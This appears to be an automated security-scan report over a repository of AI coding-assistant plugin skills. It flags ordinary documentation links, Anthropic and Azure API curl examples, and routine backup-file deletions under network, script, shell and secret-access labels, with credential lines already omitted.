| Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) | - Network accessline 223
| Test using `wrapServer` | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) | - Network accessline 224
| Generate command source | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) | - Network accessline 225
| Spec lint command source | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts) | - Network accessline 226
| `wrapServer` implementation | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts) | - Network accessline 227
| Client output reference | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) |
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-analytics-instrumentation/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/references/official-docs.md
- Network accessline 5
| Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 6
| --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 7
| Standalone Backstage app | <https://backstage.io/docs/getting-started/> | - Network accessline 8
| New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> | - Network accessline 9
| New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> | - Network accessline 10
| Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> | - Network accessline 11
| Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> | - Network accessline 12
| Composability and routing reference | <https://backstage.io/docs/plugins/composability/> | - Network accessline 13
| Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> | - Network accessline 14
| Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-builder/scripts/validate_official_docs.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 13
URLS = [ "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 14
"https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md", - Network accessline 15
"https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md", - Network accessline 16
"https://backstage.io/docs/plugins/create-a-plugin/", - Network accessline 17
"https://backstage.io/docs/plugins/composability/", - Network accessline 18
"https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md", - Network accessline 19
"https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md", - Network accessline 23
def check_url(url: str, timeout: int) -> dict: request = urllib.request.Request( - Network accessline 24
request = urllib.request.Request( - Network accessline 25
url, headers={"User-Agent": "backstage-plugin-builder-doc-check"}) try: with urllib.request.urlopen(request, timeout=timeout) as response: - Network accessline 26
try: with urllib.request.urlopen(request, timeout=timeout) as response: return {"url": url, "status": response.status, "ok": 200 <= response.status < 400} - Network accessline 27
with urllib.request.urlopen(request, timeout=timeout) as response:
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-full-frontend-system-migration/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-full-frontend-system-migration/references/upstream/SKILL.md
- Network accessline 122
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 550
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 551
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 552
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-new-frontend-system-support/SKILL.md
- Network accessline 4
license: Apache-2.0 metadata: source-repository: "https://github.com/backstage/backstage" - Network accessline 5
metadata: source-repository: "https://github.com/backstage/backstage" source-commit: "eeac444a9aba7c107525d2a726851e907418c181" - Network accessline 6
source-repository: "https://github.com/backstage/backstage"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-new-frontend-system-support/references/upstream/SKILL.md
- Network accessline 56
For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo - Network accessline 425
- [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating) - Network accessline 426
- [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints) - Network accessline 427
- [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/cloud-architecture-best-practices-docs/scripts/validate_arch.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/cloud-design-patterns/SKILL.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/create-llms/SKILL.md
- Network accessline 2
name: "create-llms" description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r - Network accessline 3
description: >- Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure - Network accessline 4
Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a - Network accessline 21
- No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling ` - Network accessline 23
- Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks. - Network accessline 144
- [llms.txt specification](https://llmstxt.org/) - Network accessline 145
- Baseline URL spelling preserved for migration checks: https://llmstxt.org/.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-blueprint/SKILL.md
- Network accessline 62
- [Azure AI Foundry Agent Service](https://learn.microsoft.com/azure/ai-foundry/agents/) - Network accessline 63
- [Azure AI Foundry model catalog](https://learn.microsoft.com/azure/ai-foundry/how-to/model-catalog-overview) - Network accessline 64
- [Foundry tools](https://learn.microsoft.com/azure/ai-foundry/agents/how-to/tools/overview) - Network accessline 65
- [Evaluate generative AI with Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-framework-py-release/SKILL.md
- Network accessline 165
### Added - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN)) - Network accessline 166
- **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN)) - Network accessline 183
**Entry format:** - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))` - Network accessline 184
- `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))` - Network accessline 242
Two edits when a released-tier bump is in play: 1. Advance `[Unreleased]` compare base from `python-${OLD_RELEASED}...HEAD` to `python-${NEW_RELEASED}...HEAD`. 2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${ - Network accessline 244
2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${NEW_RELEASED}]: https://github.com/microsoft/agent-framework/compare/python-${OLD_RELEASED}...python-${NEW_RELEASED}` - Dangerous shell operationline 257
rm python/packages/openai/pyproject.toml.bak - Dangerous shell operationline 266
rm python/pyproject.toml.bak - Dangerous shell operationline 274
rm python/packages/ag-ui/pyproject.toml.bak - Dangerous shell operationline 288
rm "${file}.bak" - Dangerous shell operationline 308
rm "${file}.bak"
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-sync/SKILL.md
- Network accessline 55
2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID, - Network accessline 56
3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c - Network accessline 57
4. Authenticate and sync with a token for `https://ai.azure.com/`. - Network accessline 74
| Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p - Network accessline 75
| Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o - Network accessline 76
| Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. | - Network accessline 84
For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A - Network accessline 114
| Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 115
| --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project - Network accessline 116
| `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | - Network accessline 148
### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - Network accessline 149
- `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>` - Network accessline 150
- `az account get-access-token --resource https://ai.azure.com/` - Network accessline 159
- [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the - Network accessline 160
- [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`. - Network accessline 161
- [ ] Token audience is `https://ai.azure.com/` and the token is not printed.
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-ai-operations/SKILL.md
- Network accessline 123
# Test chat completion curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \ - Network accessline 124
[Credential-related source omitted] - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 126
[Credential-related source omitted] - Network accessline 129
# Test with managed identity (from AKS pod) curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \ - Network accessline 130
curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/LICENSE.txt
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/csharp/claude-api/README.md
- Network accessline 48
**Write a plain `Program.cs` body** — `using` statements followed by top-level statements, as below. Do **not** add a `#!/usr/bin/env dotnet` shebang or `#:package Anthropic@*` directive: those are .NET file-based-app syntax and fail with ` - Access to secretsline 108
[Credential-related source omitted] - Access to secretsline 113
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/curl/examples.md
- Network accessline 1
# Claude API — cURL / Raw HTTP - Access to secretsline 8
[Credential-related source omitted] - Network accessline 16
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Network accessline 36
# Capture the response, then extract fields response=$(curl -s https://api.anthropic.com/v1/messages \ - Network accessline 37
[Credential-related source omitted] - Access to secretsline 37
[Credential-related source omitted] - Access to secretsline 39
[Credential-related source omitted] - Network accessline 63
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Network accessline 102
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Network accessline 127
[Credential-related source omitted] - Access to secretsline 127
[Credential-related source omitted] - Access to secretsline 129
[Credential-related source omitted] - Network accessline 165
[Credential-related source omitted] - Access to secretsline 165
[Credential-related source omitted] - Access to secretsline 167
[Credential-related source omitted] - Network accessline 190
# Fable 5 / Claude Opus 5 / Opus 4.8 / 4.7 / 4.6: adaptive thinking (recommended) curl https://api.anthropic.com/v1/messages \ - Network accessline 191
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Network accessline 216
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Access to secretsline 218
[Credential-related source omitted]
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/curl/managed-agents.md
- Network accessline 1
# Managed Agents — cURL / Raw HTTP - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Network accessline 24
curl -X POST https://api.anthropic.com/v1/environments \ - Network accessline 38
curl -X POST https://api.anthropic.com/v1/environments \ - Network accessline 63
# 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 64
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 73
# 2. Start a session curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 74
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 79
}' # → { "id": "sesn_abc123", ... } # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123 (swap 'default' for your workspace ID if the API key is not in the Default workspace) - Network accessline 81
# Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123 (swap 'default' for your workspace ID if the API key is not in the Default workspace) - Network accessline 87
# 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 88
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 111
# 2. Start a session with the repo mounted curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 112
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 119
{ "type": "github_repository", "url": "https://github.com/owner/repo", - Network accessline 120
"type": "github_repository", "url": "https://github.com/owner/repo", "mount_path": "/workspace/repo", - Network accessline 121
"url": "https://github.com/owner/repo", - Network accessline 133
# Create a session with a hard $25.00 spend cap (list-priced; USD only; create-only). # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 134
# amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \ "${HEADERS[@]}" \ - Network accessline 135
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 146
# Change the cap — higher or lower, but it must exceed the consumed list cost. # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 147
# An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ "${HEADERS[@]}" \ - Network accessline 148
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 152
# Remove the cap entirely — one-way; a removed budget can never be re-added curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 153
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 165
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 182
curl -N https://api.anthropic.com/v1/sessions/$SESSION_ID/events/stream \ - Network accessline 204
# Get all events curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 205
curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 208
# Paginated — get next page of events curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \ - Network accessline 209
curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \ - Network accessline 220
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 238
curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \ - Network accessline 254
curl https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 263
curl https://api.anthropic.com/v1/sessions \ - Network accessline 272
curl -X DELETE https://api.anthropic.com/v1/sessions/$SESSION_ID \ - Network accessline 281
[Credential-related source omitted] - Access to secretsline 281
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Network accessline 296
# List files associated with a session curl "https://api.anthropic.com/v1/files?scope_id=$SESSION_ID" \ - Network accessline 297
[Credential-related source omitted] - Access to secretsline 297
[Credential-related source omitted] - Access to secretsline 298
[Credential-related source omitted] - Network accessline 302
# Download a specific file curl "https://api.anthropic.com/v1/files/$FILE_ID/content" \ - Network accessline 303
[Credential-related source omitted] - Access to secretsline 303
[Credential-related source omitted] - Access to secretsline 304
[Credential-related source omitted] - Network accessline 315
curl https://api.anthropic.com/v1/agents \ - Network accessline 324
# 1. Agent declares MCP server (no auth here — auth goes in a vault) curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 325
curl -X POST https://api.anthropic.com/v1/agents \ - Network accessline 329
"model": "claude-opus-5", "mcp_servers": [ { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } - Network accessline 330
"mcp_servers": [ { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } ], - Network accessline 331
{ "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" } - Network accessline 339
# 2. Session attaches vault containing credentials for that MCP server URL curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 340
curl -X POST https://api.anthropic.com/v1/sessions \ - Network accessline 356
curl -X POST https://api.anthropic.com/v1/agents \
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/go/claude-api/README.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/go/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Go. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Go SDK repo **or the relevant docs page** from `shared - Access to secretsline 23
[Credential-related source omitted] - Network accessline 96
} fmt.Printf("Session ID: %s, status: %s\n", session.ID, session.Status) fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Defa - Network accessline 98
fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 390
Type: anthropic.BetaManagedAgentsURLMCPServerParamsTypeURL, Name: "github", URL: "https://api.githubcopilot.com/mcp/", - Network accessline 391
Name: "github", URL: "https://api.githubcopilot.com/mcp/", }}, - Network accessline 392
URL: "https://api.githubcopilot.com/mcp/", - Network accessline 449
OfMCPOAuth: &anthropic.BetaManagedAgentsMCPOAuthCreateParams{ Type: anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth, MCPServerURL: "https://mcp.slack.com/mcp", - Network accessline 450
Type: anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth, MCPServerURL: "https://mcp.slack.com/mcp", AccessToken: "xoxp-...", - Network accessline 451
MCPServerURL: "https://mcp.slack.com/mcp", - Network accessline 453
ExpiresAt: anthropic.Time(time.Date(2026, time.April, 15, 0, 0, 0, 0, time.UTC)), Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{ TokenEndpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 454
Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{ TokenEndpoint: "https://slack.com/api/oauth.v2.access", ClientID: "1234567890.0987654321", - Network accessline 455
TokenEndpoint: "https://slack.com/api/oauth.v2.access", - Network accessline 511
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https:// - Network accessline 512
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/repo", MountPath: anthropic.String("/workspace/repo"), - Network accessline 513
URL: "https://github.com/org/repo", - Network accessline 530
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.c - Network accessline 531
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/frontend", MountPath: anthropic.String("/workspace/frontend"), - Network accessline 532
URL: "https://github.com/org/frontend", - Network accessline 538
OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{ Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.c - Network accessline 539
Type: anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository, URL: "https://github.com/org/backend", MountPath: anthropic.String("/workspace/backend"), - Network accessline 540
URL: "https://github.com/org/backend",
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/java/claude-api/README.md
- Access to secretsline 66
[Credential-related source omitted] - Network accessline 191
DocumentBlockParam doc = DocumentBlockParam.builder() .source(Base64PdfSource.builder().data(base64String).build()) // or .source(UrlPdfSource.builder().url("https://...").build()) - Network accessline 192
.source(Base64PdfSource.builder().data(base64String).build()) // or .source(UrlPdfSource.builder().url("https://...").build()) .title("My Document") // optional - Network accessline 193
// or .source(UrlPdfSource.builder().url("https://...").build())
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/java/claude-api/tool-use.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/java/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for Java. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Java SDK repo **or the relevant docs page** from `sh - Access to secretsline 21
[Credential-related source omitted] - Network accessline 76
.build()); System.out.println("Session ID: " + session.id()); System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default - Network accessline 78
System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 301
.type(BetaManagedAgentsUrlMcpServerParams.Type.URL) .name("github") .url("https://api.githubcopilot.com/mcp/") - Network accessline 302
.name("github") .url("https://api.githubcopilot.com/mcp/") .build()) - Network accessline 303
.url("https://api.githubcopilot.com/mcp/") - Network accessline 356
.auth(BetaManagedAgentsMcpOAuthCreateParams.builder() .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH) .mcpServerUrl("https://mcp.slack.com/mcp") - Network accessline 357
.type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH) .mcpServerUrl("https://mcp.slack.com/mcp") .accessToken("xoxp-...") - Network accessline 358
.mcpServerUrl("https://mcp.slack.com/mcp") - Network accessline 360
.expiresAt(OffsetDateTime.parse("2026-04-15T00:00:00Z")) .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder() .tokenEndpoint("https://slack.com/api/oauth.v2.access") - Network accessline 361
.refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder() .tokenEndpoint("https://slack.com/api/oauth.v2.access") .clientId("1234567890.0987654321") - Network accessline 362
.tokenEndpoint("https://slack.com/api/oauth.v2.access") - Network accessline 402
.addResource(BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/repo") - Network accessline 403
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/repo") .mountPath("/workspace/repo") - Network accessline 404
.url("https://github.com/org/repo") - Network accessline 417
BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/frontend") - Network accessline 418
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/frontend") .mountPath("/workspace/frontend") - Network accessline 419
.url("https://github.com/org/frontend") - Network accessline 423
BetaManagedAgentsGitHubRepositoryResourceParams.builder() .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/backend") - Network accessline 424
.type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY) .url("https://github.com/org/backend") .mountPath("/workspace/backend") - Network accessline 425
.url("https://github.com/org/backend")
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/php/claude-api/README.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/php/claude-api/tool-use.md
harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/php/managed-agents/README.md
- Network accessline 3
> **Bindings not shown here:** This README covers the most common managed-agents flows for PHP. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the PHP SDK repo **or the relevant docs page** from `shar - Access to secretsline 18
[Credential-related source omitted] - Network accessline 65
); echo "Session ID: {$session->id}\n"; echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 67
echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace - Network accessline 207
> ℹ<U+FE0F> **PHP file upload:** The PHP SDK's beta managed-agents file upload binding is not shown in the apps source examples; the canonical PHP example uses raw cURL against `POST /v1/files`. If your codebase prefers the SDK, web_fetch the `ant - Network accessline 212
// Raw cURL upload (canonical example from the apps source) - Network accessline 213
$csvPath = 'data.csv'; $ch = curl_init('https://api.anthropic.com/v1/files'); curl_setopt_array($ch, [ - Network accessline 214
$ch = curl_init('https://api.anthropic.com/v1/files'); - Access to secretsline 219
[Credential-related source omitted] - Network accessline 313
type: 'url', name: 'github', url: 'https://api.githubcopilot.com/mcp/', - Network accessline 314
name: 'github', url: 'https://api.githubcopilot.com/mcp/', ), - Network accessline 315
url: 'https://api.githubcopilot.com/mcp/', - Network accessline 357
auth: [ 'type' => 'mcp_oauth', 'mcp_server_url' => 'https://mcp.slack.com/mcp', - Network accessline 358
[Credential-related source omitted] - Network accessline 359
'mcp_server_url' => 'https://mcp.slack.com/mcp', - Access to secretsline 360
[Credential-related source omitted] - Network accessline 361
'expires_at' => '2026-04-15T00:00:00Z', 'refresh' => [ 'token_endpoint' => 'https://slack.com/api/oauth.v2.access', - Network accessline 362
'refresh' => [ 'token_endpoint' => 'https://slack.com/api/oauth.v2.access', 'client_id' => '1234567890.0987654321', - Network accessline 363
'token_endpoint' => 'https://slack.com/api/oauth.v2.access', - Access to secretsline 369
[Credential-related source omitted] - Access to secretsline 381
[Credential-related source omitted] - Network accessline 403
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/repo', - Network accessline 404
'type' => 'github_repository', 'url' => 'https://github.com/org/repo', 'mount_path' => '/workspace/repo', - Network accessline 405
'url' => 'https://github.com/org/repo', - Network accessline 417
[ 'type' => 'github_repository', 'url' => 'https://github.com/org/frontend', - Network accessline 418
'type' => 'github_repository', 'url' => 'https://github.com/org/frontend', 'mount_path' => '/workspace/frontend', - Network accessline 419
'url' => 'https://github.com/org/frontend', - Network accessline 423
